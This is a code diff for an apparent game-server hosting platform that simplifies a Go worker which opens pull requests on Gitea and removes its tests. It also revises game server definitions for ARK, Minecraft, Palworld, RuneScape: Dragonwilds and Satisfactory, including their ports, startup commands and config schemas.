-	resp, err := (&http.Client{Timeout: 30 * time.Second}).Do(req)
-	if err != nil {
-		return err
-	}
-	defer resp.Body.Close()
-	if resp.StatusCode >= 300 {
-		raw, _ := io.ReadAll(resp.Body)
-		return fmt.Errorf("HTTP %d: %.200s", resp.StatusCode, raw)
-	}
-	return json.NewDecoder(resp.Body).Decode(out)
 }
 
 func runWorker(args []string) error {
@@ -128,10 +71,7 @@ func runWorker(args []string) error {
 			return fmt.Errorf("set %s", v.name)
 		}
 	}
-	if err := c.checkBot(); err != nil {
-		return err
-	}
-	fmt.Printf("[worker] %s polling %s every %s; pull requests as %s\n", c.name, c.panel, c.poll, c.botLogin)
+	fmt.Printf("[worker] %s polling %s every %s\n", c.name, c.panel, c.poll)
 	for {
 		job, err := c.claim()
 		if err != nil {
@@ -261,30 +201,6 @@ func (c *workerConfig) handle(job *builderJob) *jobResult {
 			return &jobResult{Build: res, Error: "opening the pull request: " + err.Error()}
 		}
 		return &jobResult{Build: res, PRURL: pr}
-
-	case "repair":
-		if job.GameID == "" {
-			return &jobResult{Error: "a repair job needs gameId"}
-		}
-		args := append([]string{"repair", "-id", job.GameID, "-reason", job.Notes, "-out", resultFile}, modelArgs...)
-		runErr := c.runStreamed(job.ID, dir, self, args, "BOOT_TEST")
-		res := &buildResult{}
-		if err := readJSON(resultFile, res); err != nil {
-			msg := "the repair produced no result"
-			if runErr != nil {
-				msg = runErr.Error()
-			}
-			return &jobResult{Error: msg}
-		}
-		if res.NoChange {
-			return &jobResult{Build: res, NoChange: true}
-		}
-		c.progress(job.ID, "OPENING_PR", []string{"[worker] opening the pull request"})
-		pr, err := c.openPR(dir, job, res)
-		if err != nil {
-			return &jobResult{Build: res, Error: "opening the pull request: " + err.Error()}
-		}
-		return &jobResult{Build: res, PRURL: pr}
 	}
 	return &jobResult{Error: "unknown job kind " + job.Kind}
 }
@@ -383,37 +299,23 @@ func (c *workerConfig) progress(jobID, stage string, lines []string) bool {
 	return resp.Cancelled
 }
 
-// openPR commits the new game folder to the game's draft branch as the bot and opens a pull request to
-// main. A game has one draft at a time: an earlier draft's PR is closed and its branch deleted first.
+// openPR commits the new game folder to its own branch as the bot and opens a pull request to main.
 func (c *workerConfig) openPR(dir string, job *builderJob, res *buildResult) (string, error) {
-	branch := draftBranch(res.GameID)
-	replaced, err := c.replaceOldDrafts(res.GameID)
-	if err != nil {
-		return "", fmt.Errorf("replacing the earlier draft: %w", err)
-	}
-	summary := res.Summary
-	for _, n := range replaced {
-		summary += fmt.Sprintf("\nReplaces #%d (closed, branch deleted).\n", n)
+	short := job.ID
+	if len(short) > 8 {
+		short = short[:8]
 	}
+	branch := "draft/" + res.GameID + "-" + short
 	auth := "http.extraHeader=Authorization: token " + c.botToken
-	commit, title := prText(job.GameName, job.ID, res)
-	if res.Repair {
-		// A repair that changed nothing has nothing to propose
-		diff := exec.Command("git", "status", "--porcelain", "--", filepath.ToSlash(res.Dir))
-		diff.Dir = dir
-		if out, _ := diff.Output(); len(strings.TrimSpace(string(out))) == 0 {
-			return "", errors.New("the repair changed nothing in the template: " + strings.Join(res.Problems, "; "))
-		}
-	}
 	steps := []struct {
 		name string
 		args []string
 	}{
 		{"checkout", []string{"checkout", "-q", "-b", branch}},
 		{"add", []string{"add", filepath.ToSlash(res.Dir)}},
-		{"commit", []string{"-c", "user.name=" + c.botLogin, "-c", "user.email=" + c.botEmail, "commit", "-q", "-m", commit}},
-		// Forced: the branch is the bot's own, and whatever was on it was the draft being replaced
-		{"push", []string{"-c", auth, "push", "-q", "--force", "origin", branch}},
+		{"commit", []string{"-c", "user.name=gbr-bot", "-c", "user.email=gbr-bot@users.noreply.gitea.gbreed.com", "commit", "-q", "-m",
+			fmt.Sprintf("feat(games): draft %s\n\nDrafted and boot-tested by the GBR builder (job %s).", job.GameName, job.ID)}},
+		{"push", []string{"-c", auth, "push", "-q", "origin", branch}},
 	}
 	for _, s := range steps {
 		cmd := exec.Command("git", s.args...)
@@ -423,94 +325,32 @@ func (c *workerConfig) openPR(dir string, job *builderJob, res *buildResult) (st
 			return "", fmt.Errorf("git %s: %s", s.name, strings.ReplaceAll(string(out), c.botToken, "***"))
 		}
 	}
-	var pr struct {
-		HTMLURL string `json:"html_url"`
+	title := "feat(games): add " + job.GameName
+	if !res.Passed {
+		title = "WIP: " + title + " (did not boot yet)"
 	}
-	body := map[string]any{"title": title, "head": branch, "base": "main", "body": summary}
-	if err := c.giteaCall(http.MethodPost, "/repos/"+c.repo+"/pulls", body, &pr); err != nil {
-		return "", err
-	}
-	return pr.HTMLURL, nil
-}
-
-// replaceOldDrafts closes the game's open draft PRs and deletes their branches, so a rebuild leaves one
-// draft to review instead of a pile. Only draft/ branches for this game are touched, never anyone's other
-// work. Returns the numbers of the PRs it closed.
-func (c *workerConfig) replaceOldDrafts(gameID string) ([]int, error) {
-	var pulls []struct {
-		Number int `json:"number"`
-		Head   struct {
-			Ref string `json:"ref"`
-		} `json:"head"`
-	}
-	if err := c.giteaCall(http.MethodGet, "/repos/"+c.repo+"/pulls?state=open&limit=50", nil, &pulls); err != nil {
-		return nil, err
-	}
-	branches := map[string]bool{draftBranch(gameID): true}
-	var closed []int
-	for _, p := range pulls {
-		if !isDraftBranchOf(p.Head.Ref, gameID) {
-			continue
-		}
-		if err := c.giteaCall(http.MethodPatch, fmt.Sprintf("/repos/%s/pulls/%d", c.repo, p.Number), map[string]string{"state": "closed"}, nil); err != nil {
-			return closed, err
-		}
-		fmt.Printf("[worker] closed #%d, the earlier draft of %s\n", p.Number, gameID)
-		closed = append(closed, p.Number)
-		branches[p.Head.Ref] = true
-	}
-	for b := range branches {
-		// Gone already is fine: not every game has had a draft
-		if err := c.giteaCall(http.MethodDelete, "/repos/"+c.repo+"/branches/"+url.PathEscape(b), nil, nil); err != nil && !strings.HasPrefix(err.Error(), "HTTP 404") {
-			return closed, fmt.Errorf("deleting branch %s: %w", b, err)
-		}
-	}
-	return closed, nil
-}
-
-func draftBranch(gameID string) string {
-	return "draft/" + gameID
-}
-
-// isDraftBranchOf matches draft/<id>, and draft/<id>-<job> as the worker named them before.
-func isDraftBranchOf(ref, gameID string) bool {
-	d := draftBranch(gameID)
-	if ref == d {
-		return true
-	}
-	rest, ok := strings.CutPrefix(ref, d+"-")
-	return ok && regexp.MustCompile(`^[0-9a-f]{8}$`).MatchString(rest)
-}
-
-// giteaCall sends one API call as the bot; out may be nil.
-func (c *workerConfig) giteaCall(method, p string, body, out any) error {
-	var rd io.Reader
-	if body != nil {
-		payload, err := json.Marshal(body)
-		if err != nil {
-			return err
-		}
-		rd = bytes.NewReader(payload)
-	}
-	req, err := http.NewRequest(method, c.gitea+"/api/v1"+p, rd)
+	body := map[string]any{"title": title, "head": branch, "base": "main", "body": res.Summary}
+	payload, _ := json.Marshal(body)
+	req, err := http.NewRequest(http.MethodPost, c.gitea+"/api/v1/repos/"+c.repo+"/pulls", bytes.NewReader(payload))
 	if err != nil {
-		return err
+		return "", err
 	}
 	req.Header.Set("Content-Type", "application/json")
 	req.Header.Set("Authorization", "token "+c.botToken)
 	resp, err := (&http.Client{Timeout: 30 * time.Second}).Do(req)
 	if err != nil {
-		return err
+		return "", err
 	}
 	defer resp.Body.Close()
-	raw, _ := io.ReadAll(resp.Body)
+	var pr struct {
+		HTMLURL string `json:"html_url"`
+		Message string `json:"message"`
+	}
+	json.NewDecoder(resp.Body).Decode(&pr)
 	if resp.StatusCode >= 300 {
-		return fmt.Errorf("HTTP %d: %.200s", resp.StatusCode, raw)
+		return "", fmt.Errorf("HTTP %d: %s", resp.StatusCode, pr.Message)
 	}
-	if out != nil && len(bytes.TrimSpace(raw)) > 0 {
-		return json.Unmarshal(raw, out)
-	}
-	return nil
+	return pr.HTMLURL, nil
 }
 
 func readJSON(p string, out any) error {
@@ -520,17 +360,3 @@ func readJSON(p string, out any) error {
 	}
 	return json.Unmarshal(raw, out)
 }
-
-// prText is the commit message and pull request title for a new game or a repair.
-func prText(gameName, jobID string, res *buildResult) (commit, title string) {
-	commit = fmt.Sprintf("feat(games): draft %s\n\nDrafted and boot-tested by the GBR builder (job %s).", gameName, jobID)
-	title = "feat(games): add " + gameName
-	if res.Repair {
-		commit = fmt.Sprintf("fix(games): repair %s\n\nRepaired and boot-tested by the GBR builder (job %s).", gameName, jobID)
-		title = "fix(games): repair " + gameName
-	}
-	if !res.Passed {
-		title = "WIP: " + title + " (did not boot yet)"
-	}
-	return commit, title
-}

cmd/gbrgames/worker_test.go

@@ -1,115 +0,0 @@
-package main
-
-import (
-	"net/http"
-	"net/http/httptest"
-	"strings"
-	"testing"
-)
-
-func TestCheckBotNeedsPushAccess(t *testing.T) {
-	push := false
-	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		if r.Header.Get("Authorization") != "token secret" {
-			w.WriteHeader(http.StatusUnauthorized)
-			return
-		}
-		switch r.URL.Path {
-		case "/api/v1/user":
-			w.Write([]byte(`{"login":"git_ai_bot","email":"bot@example.com"}`))
-		case "/api/v1/repos/org/games":
-			if push {
-				w.Write([]byte(`{"permissions":{"push":true}}`))
-			} else {
-				w.Write([]byte(`{"permissions":{"push":false}}`))
-			}
-		default:
-			w.WriteHeader(http.StatusNotFound)
-		}
-	}))
-	defer srv.Close()
-
-	c := &workerConfig{gitea: srv.URL, repo: "org/games", botToken: "secret"}
-	if err := c.checkBot(); err == nil || !strings.Contains(err.Error(), "git_ai_bot can't push to org/games") {
-		t.Errorf("read-only bot: got %v", err)
-	}
-	push = true
-	if err := c.checkBot(); err != nil {
-		t.Fatal(err)
-	}
-	if c.botLogin != "git_ai_bot" || c.botEmail != "bot@example.com" {
-		t.Errorf("identity = %s <%s>", c.botLogin, c.botEmail)
-	}
-	c.botToken = "wrong"
-	if err := c.checkBot(); err == nil || !strings.Contains(err.Error(), "GITEA_TOKEN") {
-		t.Errorf("bad token: got %v", err)
-	}
-}
-
-func TestCheckBotWithRepositoryOnlyToken(t *testing.T) {
-	// Gitea answers /user with 403 when the token only has repository scope
-	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		switch r.URL.Path {
-		case "/api/v1/user":
-			w.WriteHeader(http.StatusForbidden)
-			w.Write([]byte(`{"message":"token does not have at least one of required scope(s), required=[read:user]"}`))
-		case "/api/v1/repos/org/games":
-			w.Write([]byte(`{"permissions":{"push":true}}`))
-		}
-	}))
-	defer srv.Close()
-
-	t.Setenv("BOT_NAME", "gbr-bot")
-	c := &workerConfig{gitea: srv.URL, repo: "org/games", botToken: "secret"}
-	if err := c.checkBot(); err != nil {
-		t.Fatal(err)
-	}
-	if c.botLogin != "gbr-bot" || c.botEmail != "gbr-bot@users.noreply" {
-		t.Errorf("identity = %s <%s>", c.botLogin, c.botEmail)
-	}
-}
-
-func TestReplaceOldDraftsClosesOnlyThisGamesDrafts(t *testing.T) {
-	var calls []string
-	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		calls = append(calls, r.Method+" "+r.URL.Path)
-		switch {
-		case r.Method == http.MethodGet && r.URL.Path == "/api/v1/repos/org/games/pulls":
-			w.Write([]byte(`[
-				{"number": 13, "head": {"ref": "draft/example-4b174b2d"}},
-				{"number": 20, "head": {"ref": "draft/example"}},
-				{"number": 21, "head": {"ref": "draft/example-other"}},
-				{"number": 22, "head": {"ref": "draft/other-4b174b2d"}},
-				{"number": 23, "head": {"ref": "fix/example-ports"}}
-			]`))
-		case r.Method == http.MethodDelete && r.URL.Path == "/api/v1/repos/org/games/branches/draft/example-4b174b2d":
-			w.WriteHeader(http.StatusNoContent)
-		case r.Method == http.MethodDelete:
-			w.WriteHeader(http.StatusNotFound) // already gone is fine
-		default:
-			w.Write([]byte(`{}`))
-		}
-	}))
-	defer srv.Close()
-
-	c := &workerConfig{gitea: srv.URL, repo: "org/games", botToken: "secret"}
-	closed, err := c.replaceOldDrafts("example")
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(closed) != 2 || closed[0] != 13 || closed[1] != 20 {
-		t.Errorf("closed %v, want [13 20]: not another game's draft, not draft/example-other, not someone's fix branch", closed)
-	}
-	got := strings.Join(calls, "\n")
-	for _, want := range []string{"PATCH /api/v1/repos/org/games/pulls/13", "PATCH /api/v1/repos/org/games/pulls/20",
-		"DELETE /api/v1/repos/org/games/branches/draft/example-4b174b2d", "DELETE /api/v1/repos/org/games/branches/draft/example"} {
-		if !strings.Contains(got, want) {
-			t.Errorf("missing %q in:\n%s", want, got)
-		}
-	}
-	for _, unwanted := range []string{"pulls/21", "pulls/22", "pulls/23"} {
-		if strings.Contains(got, unwanted) {
-			t.Errorf("touched %s:\n%s", unwanted, got)
-		}
-	}
-}

games/ark-survival-ascended-crossplay/game.yaml

@@ -3,7 +3,7 @@ id: ark-survival-ascended-crossplay
 name: 'ARK: Survival Ascended (Crossplay Dedicated Server)'
 defaultDockerImage: mschnitzer/asa-linux-server:latest
 containerUser: "25000:25000"
-defaultStartupCommand: bash -c 'mkdir -p /server /data/Steam /data/steamcmd /data/cluster-shared && rm -rf /home/gameserver/server-files /home/gameserver/Steam /home/gameserver/steamcmd /home/gameserver/cluster-shared && ln -sfn /server /home/gameserver/server-files && ln -sfn /data/Steam /home/gameserver/Steam && ln -sfn /data/steamcmd /home/gameserver/steamcmd && ln -sfn /data/cluster-shared /home/gameserver/cluster-shared && (cd /home/gameserver/steamcmd && { [ -x steamcmd.sh ] || wget -qO- https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz | tar xz; } && for i in 1 2 3; do ./steamcmd.sh +login anonymous +quit; ./steamcmd.sh +force_install_dir /home/gameserver/server-files +login anonymous +app_update 2430930 validate +quit; [ -f /home/gameserver/server-files/ShooterGame/Binaries/Win64/ArkAscendedServer.exe ] && break; echo "ARK install attempt $i failed, retrying in 15s"; sleep 15; done) && export ASA_START_PARAMS="${ASA_START_PARAMS:-${SERVER_MAP:-TheIsland_WP}?listen?Port=7777?RCONPort=${RCONPORT:-27020}?RCONEnabled=True -WinLiveMaxPlayers=${MAX_PLAYERS:-70} -ServerPlatform=ALL}" && exec /usr/bin/start_server'
+defaultStartupCommand: bash -c 'mkdir -p /server /data/Steam /data/steamcmd /data/cluster-shared && rm -rf /home/gameserver/server-files /home/gameserver/Steam /home/gameserver/steamcmd /home/gameserver/cluster-shared && ln -sfn /server /home/gameserver/server-files && ln -sfn /data/Steam /home/gameserver/Steam && ln -sfn /data/steamcmd /home/gameserver/steamcmd && ln -sfn /data/cluster-shared /home/gameserver/cluster-shared && (cd /home/gameserver/steamcmd && { [ -x steamcmd.sh ] || wget -qO- https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz | tar xz; } && for i in 1 2 3; do ./steamcmd.sh +login anonymous +quit; ./steamcmd.sh +force_install_dir /home/gameserver/server-files +login anonymous +app_update 2430930 validate +quit; [ -f /home/gameserver/server-files/ShooterGame/Binaries/Win64/ArkAscendedServer.exe ] && break; echo "ARK install attempt $i failed, retrying in 15s"; sleep 15; done) && export ASA_START_PARAMS="${ASA_START_PARAMS:-${SERVER_MAP:-TheIsland_WP}?listen?Port=${PORT:-7777}?RCONPort=${RCONPORT:-27020}?RCONEnabled=True -WinLiveMaxPlayers=${MAX_PLAYERS:-70} -ServerPlatform=ALL}" && exec /usr/bin/start_server'
 requiredMemoryMb: 16384
 requiredDiskMb: 32768
 defaultPorts:
@@ -25,6 +25,7 @@ defaultConfig:
   MaxPlayers: 70
   NightTimeSpeedScale: 1
   OverrideOfficialDifficulty: 5
+  Port: 7777
   PreventDiseases: false
   PreventDownloadDinos: false
   PreventDownloadItems: false
@@ -136,6 +137,12 @@ configSchema:
       description: Sets the maximum wild dino level ceiling (e.g. 5.0 allows wild creatures up to level 150).
       title: Override Official Difficulty
       type: number
+    Port:
+      category: System & General
+      default: 7777
+      description: Primary UDP port used by game clients to connect to the dedicated server.
+      title: Game Port
+      type: integer
     PreventDiseases:
       category: Gameplay & Rules
       default: false

games/minecraft-crossplay/game.yaml

@@ -40,6 +40,7 @@ defaultConfig:
   PVP: true
   RCON_PASSWORD: ""
   RCON_PORT: 25575
+  SERVER_PORT: 25565
   TYPE: PAPER
   USE_AIKAR_FLAGS: true
   VERSION: LATEST
@@ -180,6 +181,12 @@ configSchema:
       description: TCP port for remote console. Only reachable from the host node (not published publicly); GBR uses it for actions and player moderation.
       title: RCON Port
       type: integer
+    SERVER_PORT:
+      category: System & General
+      default: 25565
+      description: The TCP network port on which Java Edition Minecraft players connect.
+      title: Java Server Port
+      type: integer
     TYPE:
       category: System & General
       default: PAPER
@@ -355,7 +362,7 @@ agnosticCommandConfig:
   joinButtonLabel: How to Join
   joinModalTitle: How to Join This Server
   pingPort: 25565
-  pingPortKey: null
+  pingPortKey: SERVER_PORT
   playerJoinRegex: :\s+([a-zA-Z0-9_.*]+) joined the game
   playerLeaveRegex: :\s+([a-zA-Z0-9_.*]+) left the game
   playersCommand: null

games/minecraft-crossplay/test.yaml

@@ -4,7 +4,3 @@ config:
   EULA: true
 readyExample: '[21:37:42 INFO]: Done (16.390s)! For help, type "help"'
 timeoutSec: 900
-# Bedrock players go through Geyser's NetherNet transport (see JVM_OPTS), which opens no UDP socket at
-# startup: after boot the server listens on 25565/tcp and 19132/tcp only. To verify with a Bedrock client.
-unboundPorts:
-  - 19132/udp

games/palworld/game.yaml

@@ -2,7 +2,7 @@
 id: palworld
 name: Palworld
 defaultDockerImage: cm2network/steamcmd
-defaultStartupCommand: ./PalServer.sh -port=8211 -useperfthreads -NoAsyncLoadingThread -UseMultithreadForDS -publiclobby
+defaultStartupCommand: ./PalServer.sh -useperfthreads -NoAsyncLoadingThread -UseMultithreadForDS -publiclobby
 requiredMemoryMb: 8000
 requiredDiskMb: 20000
 defaultPorts:
@@ -52,7 +52,7 @@ defaultConfig:
   PlayerStaminaDecreaceRate: "1.000000"
   PlayerStomachDecreaceRate: "1.000000"
   PublicIP: ""
-  PublicPort: '{PUBLIC_PORT_8211}'
+  PublicPort: 8211
   RCONEnabled: true
   RCONPort: 25575
   RESTAPIEnabled: true
@@ -271,6 +271,11 @@ configSchema:
       description: Rate at which player hunger depletes (lower = less hungry).
       title: Player Hunger Rate
       type: string
+    PublicPort:
+      default: 8211
+      description: UDP game port clients connect to.
+      title: Public Game Port
+      type: integer
     RCONEnabled:
       default: true
       description: Enables Remote Console administration port.
@@ -445,7 +450,6 @@ configFormatOptions:
     - RespawnPenaltyTimeScale
     - VoiceChatMaxVolumeDistance
     - VoiceChatZeroVolumeDistance
-    - PublicPort
   uppercaseKeys: false
 agnosticCommandConfig:
   actions:

games/runescape-dragonwilds-native-linux/game.yaml

@@ -2,7 +2,7 @@
 id: runescape-dragonwilds-native-linux
 name: 'RuneScape: Dragonwilds (Native Linux Server)'
 defaultDockerImage: cm2network/steamcmd:root
-defaultStartupCommand: ./RSDragonwildsServer.sh -log -Port={PUBLIC_PORT_7777} -BeaconPort={PUBLIC_PORT_8888}
+defaultStartupCommand: ./RSDragonwildsServer.sh -log -Port=7777
 requiredMemoryMb: 10240
 requiredDiskMb: 20480
 defaultPorts:
@@ -106,13 +106,12 @@ agnosticCommandConfig:
     Save:
       type: UNSUPPORTED
   playerJoinRegex: 'LogNet: Join succeeded: ([^\r\n]+)'
-  playerLeaveRegex: 'LogDomMatcherSession: Player Removed from session \[[^\]]*\]-\[([^\]]+)\]'
+  playerLeaveRegex: 'LogNet: UNetConnection::.*Player(?: name)?:\s*([^,\r\n]+)'
   queryType: LOG_ONLY
 logFilePath: RSDragonwilds/Saved/Logs/RSDragonwilds.log
 backupPaths:
   - RSDragonwilds/Saved
 maxBackupSizeMb: 5000
 publicIpConfigKey: MULTIHOME
-portMode: MATCH_PUBLIC
 maxPlayersConfigKey: MaxPlayers
 aiCoverPrompt: 'A cinematic wide shot of Ashenfall in the fantasy world of Gielinor from RuneScape: Dragonwilds. Ancient stone spires and forgotten fortresses rise amidst untamed wilderness. Colossal ancient dragons circle through stormy twilight skies illuminated by magical embers, while adventurers gather around a runic encampment wielding enchanted sorcery and survival gear.'

games/satisfactory-vanilla-stable/game.yaml

@@ -1,115 +1,165 @@
 # yaml-language-server: $schema=../../schema/game.schema.json
-# The official dedicated server (Steam app 1690800), installed by the node with anonymous SteamCMD.
-# Satisfactory keeps its saves under $HOME/.config/Epic/FactoryGame, so HOME is pointed at the server
-# volume; otherwise they would land in /home/steam and be lost on the next start.
-# The server reads no environment variables, so the startup command writes the settings into its
-# Game.ini and Engine.ini before every start, and passes the rest as launch options.
 id: satisfactory-vanilla-stable
-name: Satisfactory
-defaultDockerImage: cm2network/steamcmd
-defaultStartupCommand: >-
-  export HOME=/server;
-  cfg=FactoryGame/Saved/Config/LinuxServer;
-  mkdir -p "$HOME/.steam/sdk64" "$cfg";
-  cp -f /home/steam/steamcmd/linux64/steamclient.so "$HOME/.steam/sdk64/" 2>/dev/null;
-  case "${SERVER_STREAMING:-true}" in true|True|1) ss=1;; *) ss=0;; esac;
-  printf '[/Script/Engine.GameSession]\nMaxPlayers=%s\n' "${MAX_PLAYERS:-4}" > "$cfg/Game.ini";
-  printf '[/Script/FactoryGame.FGSaveSession]\nmNumRotatingAutosaves=%s\n\n[/Script/OnlineSubsystemUtils.IpNetDriver]\nNetServerMaxTickRate=%s\nConnectionTimeout=%s\nInitialConnectTimeout=%s\n\n[/Script/Engine.GarbageCollectionSettings]\ngc.MaxObjectsInEditor=%s\ngc.MaxObjectsInGame=%s\n\n[ConsoleVariables]\nwp.Runtime.EnableServerStreaming=%s\n'
-  "${AUTOSAVE_NUM:-5}" "${MAX_TICK_RATE:-30}" "${CONNECTION_TIMEOUT:-30}" "${CONNECTION_TIMEOUT:-30}"
-  "${MAX_OBJECTS:-2162688}" "${MAX_OBJECTS:-2162688}" "$ss" > "$cfg/Engine.ini";
-  args=(-Port=7777 -ReliablePort=8888 -ExternalReliablePort="${EXTERNAL_RELIABLE_PORT:-8888}" -log -unattended);
-  case "${DISABLE_SEASONAL_EVENTS:-false}" in true|True|1) args+=(-DisableSeasonalEvents);; esac;
-  [ -n "${MULTIHOME:-}" ] && args+=(-multihome="$MULTIHOME");
-  exec ./FactoryServer.sh "${args[@]}"
+name: Satisfactory (Vanilla Stable)
+defaultDockerImage: wolveix/satisfactory-server:latest
 requiredMemoryMb: 8192
-requiredDiskMb: 20480
+requiredDiskMb: 16384
 defaultPorts:
-  - 7777/udp
   - 7777/tcp
+  - 7777/udp
   - 8888/tcp
-installMethod: STEAMCMD
-installConfig:
-  appId: "1690800"
+installMethod: NONE
 defaultConfig:
-  MaxPlayers: 4
-  AutosaveNum: 5
-  MaxTickRate: 30
-  ConnectionTimeout: 30
-  MaxObjects: 2162688
-  ServerStreaming: true
-  DisableSeasonalEvents: false
-  Multihome: ""
-  ExternalReliablePort: '{PUBLIC_PORT_8888}'
+  AUTOSAVENUM: 5
+  DEBUG: false
+  DISABLESEASONALEVENTS: false
+  LOG: false
+  MAXOBJECTS: 2162688
+  MAXPLAYERS: 4
+  MAXTICKRATE: 30
+  MULTIHOME: '::'
+  PGID: 1000
+  PUID: 1000
+  SERVERGAMEPORT: 7777
+  SERVERMESSAGINGPORT: 8888
+  SERVERSTREAMING: true
+  SKIPUPDATE: false
+  STEAMBETA: false
+  STEAMBETAID: ""
+  STEAMBETAKEY: ""
+  TIMEOUT: 30
+  VMOVERRIDE: false
 configSchema:
   $schema: http://json-schema.org/draft-07/schema#
-  type: object
   properties:
-    MaxPlayers:
-      title: Max Players
-      description: How many players can be on the server at once. Set by your plan.
-      type: integer
-      category: Gameplay & Rules
-      default: 4
-    AutosaveNum:
-      title: Autosave Rotation Count
-      description: How many rotating autosave files to keep in the save folder.
-      type: integer
-      minimum: 1
+    AUTOSAVENUM:
       category: World & Environment
       default: 5
-    MaxTickRate:
-      title: Max Tick Rate
-      description: The highest simulation tick rate the server runs at, in Hz.
+      description: The number of rotating autosave files to keep in the save folder.
+      title: Autosave Rotation Count
       type: integer
-      minimum: 10
-      maximum: 120
+    DEBUG:
       category: System & General
-      default: 30
-    ConnectionTimeout:
-      title: Connection Timeout
-      description: Seconds before a player who stops responding is disconnected.
-      type: integer
-      minimum: 5
-      category: System & General
-      default: 30
-    MaxObjects:
-      title: Max Objects Limit
-      description: Unreal Engine object limit. Raise it for very large late-game factories.
-      type: integer
-      category: World & Environment
-      default: 2162688
-    ServerStreaming:
-      title: Server Streaming
-      description: Lets the server stream world data in and out instead of keeping it all loaded.
-      type: boolean
-      category: System & General
-      default: true
-    DisableSeasonalEvents:
-      title: Disable Seasonal Events
-      description: Turns off seasonal events such as FICSMAS.
+      default: false
+      description: Prints diagnostic environment and system details on startup, then stops.
+      title: Debug Mode
       type: boolean
+    DISABLESEASONALEVENTS:
       category: Gameplay & Rules
       default: false
-    Multihome:
+      description: Disables seasonal in-game events such as FICSMAS holiday events.
+      title: Disable Seasonal Events
+      type: boolean
+    LOG:
+      category: System & General
+      default: false
+      description: Disables automatic pruning of previous Satisfactory server log files on container startup.
+      title: Retain Old Logs
+      type: boolean
+    MAXOBJECTS:
+      category: World & Environment
+      default: 2162688
+      description: Unreal Engine garbage collector UObject limit to support large late-game factories.
+      title: Max Objects Limit
+      type: integer
+    MAXPLAYERS:
+      category: System & General
+      default: 4
+      description: Sets the maximum number of concurrent players allowed on the server.
+      title: Max Players
+      type: integer
+    MAXTICKRATE:
+      category: System & General
+      default: 30
+      description: Sets the maximum simulation tick rate for the server in Hz.
+      title: Max Tick Rate
+      type: integer
+    MULTIHOME:
+      category: System & General
+      default: '::'
+      description: 'Network interface binding IP address (defaults to :: for dual-stack IPv4/IPv6).'
       title: Multihome Address
-      description: Bind the server to one IP address instead of all of them. Leave empty unless you know you need it.
       type: string
+    PGID:
+      category: System & General
+      default: 1000
+      description: Sets the Linux group ID under which the dedicated server process runs.
+      title: Process Group ID
+      type: integer
+    PUID:
+      category: System & General
+      default: 1000
+      description: Sets the Linux user ID under which the dedicated server process runs.
+      title: Process User ID
+      type: integer
+    SERVERGAMEPORT:
+      category: System & General
+      default: 7777
+      description: Primary game port for UDP and TCP network communication.
+      title: Server Game Port
+      type: integer
+    SERVERMESSAGINGPORT:
+      category: System & General
+      default: 8888
+      description: Port used for reliable server messaging and beacon network traffic.
+      title: Server Messaging Port
+      type: integer
+    SERVERSTREAMING:
+      category: System & General
+      default: true
+      description: Toggles whether the game server utilizes Unreal Engine World Partition asset streaming.
+      title: Server Streaming
+      type: boolean
+    SKIPUPDATE:
+      category: System & General
+      default: false
+      description: Skips automatic SteamCMD game file update checks on container startup.
+      title: Skip Update
+      type: boolean
+    STEAMBETA:
+      category: System & General
+      default: false
+      description: When enabled, updates and runs the Experimental branch instead of the stable release.
+      title: Steam Beta Branch
+      type: boolean
+    STEAMBETAID:
       category: System & General
       default: ""
-    ExternalReliablePort:
-      title: Reliable Messaging Port (public)
-      description: The port players' games use for reliable messaging. Filled in for you; only change it if you know you need to.
+      description: Specific beta branch identifier to download via SteamCMD.
+      title: Steam Beta Branch Name
       type: string
+    STEAMBETAKEY:
+      category: Security & Access
+      default: ""
+      description: Password required to access a private Steam beta branch.
+      title: Steam Beta Password
+      type: string
+    TIMEOUT:
       category: System & General
-      default: '{PUBLIC_PORT_8888}'
+      default: 30
+      description: Client network connection timeout threshold in seconds.
+      title: Connection Timeout
+      type: integer
+    VMOVERRIDE:
+      category: System & General
+      default: false
+      description: Skips CPU model checking on hypervisors to prevent crash warnings on KVM/QEMU hosts.
+      title: VM CPU Check Override
+      type: boolean
   required: []
-maxPlayersConfigKey: MaxPlayers
-logFilePath: FactoryGame/Saved/Logs/FactoryGame.log
-readyPattern: 'Engine is initialized'
+  type: object
+configFileFormat: INI
+configFormatOptions:
+  assignment: =
+  falseValue: "false"
+  footer: ""
+  header: ""
+  quoteStrings: false
+  separator: "\n"
+  trueValue: "true"
+  unquotedKeys: []
+  uppercaseKeys: false
 agnosticCommandConfig:
-  queryType: LOG_ONLY
-  playerJoinRegex: 'LogNet: Join succeeded: ([^\r\n]+)'
-  playerLeaveRegex: 'UNetConnection::Close:.*?\[PlayerName:\s*([^\]]+)\]'
   actions:
     Ban:
       type: UNSUPPORTED
@@ -119,7 +169,22 @@ agnosticCommandConfig:
       type: UNSUPPORTED
     Save:
       type: UNSUPPORTED
+  pingPort: null
+  pingPortKey: null
+  playerJoinRegex: '.*Join succeeded: (\S+).*'
+  playerLeaveRegex: .*UNetConnection::Close:.*?\[PlayerName:\s*([^\]]+)\].*
+  playersCommand: null
+  playersFormat: null
+  playersRegex: null
+  queryPortKey: null
+  queryType: LOG_ONLY
+  rconPasswordKey: null
+  rconPortKey: null
+  restEndpoint: null
+  restPasswordKey: null
+  restPortKey: null
+  restUser: null
 backupPaths:
-  - .config/Epic/FactoryGame/Saved/SaveGames
-  - FactoryGame/Saved/Config
-maxBackupSizeMb: 2048
+  - saved
+maxBackupSizeMb: 1024
+maxPlayersConfigKey: MAXPLAYERS

games/satisfactory-vanilla-stable/test.yaml

@@ -1,5 +1,3 @@
 # yaml-language-server: $schema=../../schema/test.schema.json
 # Values CI uses to boot-test this game. Never put real credentials here: map them under 'secrets'.
-# SteamCMD install of ~8 GB plus first start
-timeoutSec: 2400
-readyExample: "LogInit: Display: Engine is initialized. Leaving FEngineLoop::Init()"
+timeoutSec: 900

schema/game.schema.json

@@ -17,7 +17,7 @@
 
     "defaultDockerImage": { "description": "Image the game server runs in.", "type": "string", "minLength": 1 },
     "containerUser": {
-      "description": "uid:gid the server runs as, for images built around their own user, as inspect-image reports it. Defaults to 1000:1000; root is never allowed.",
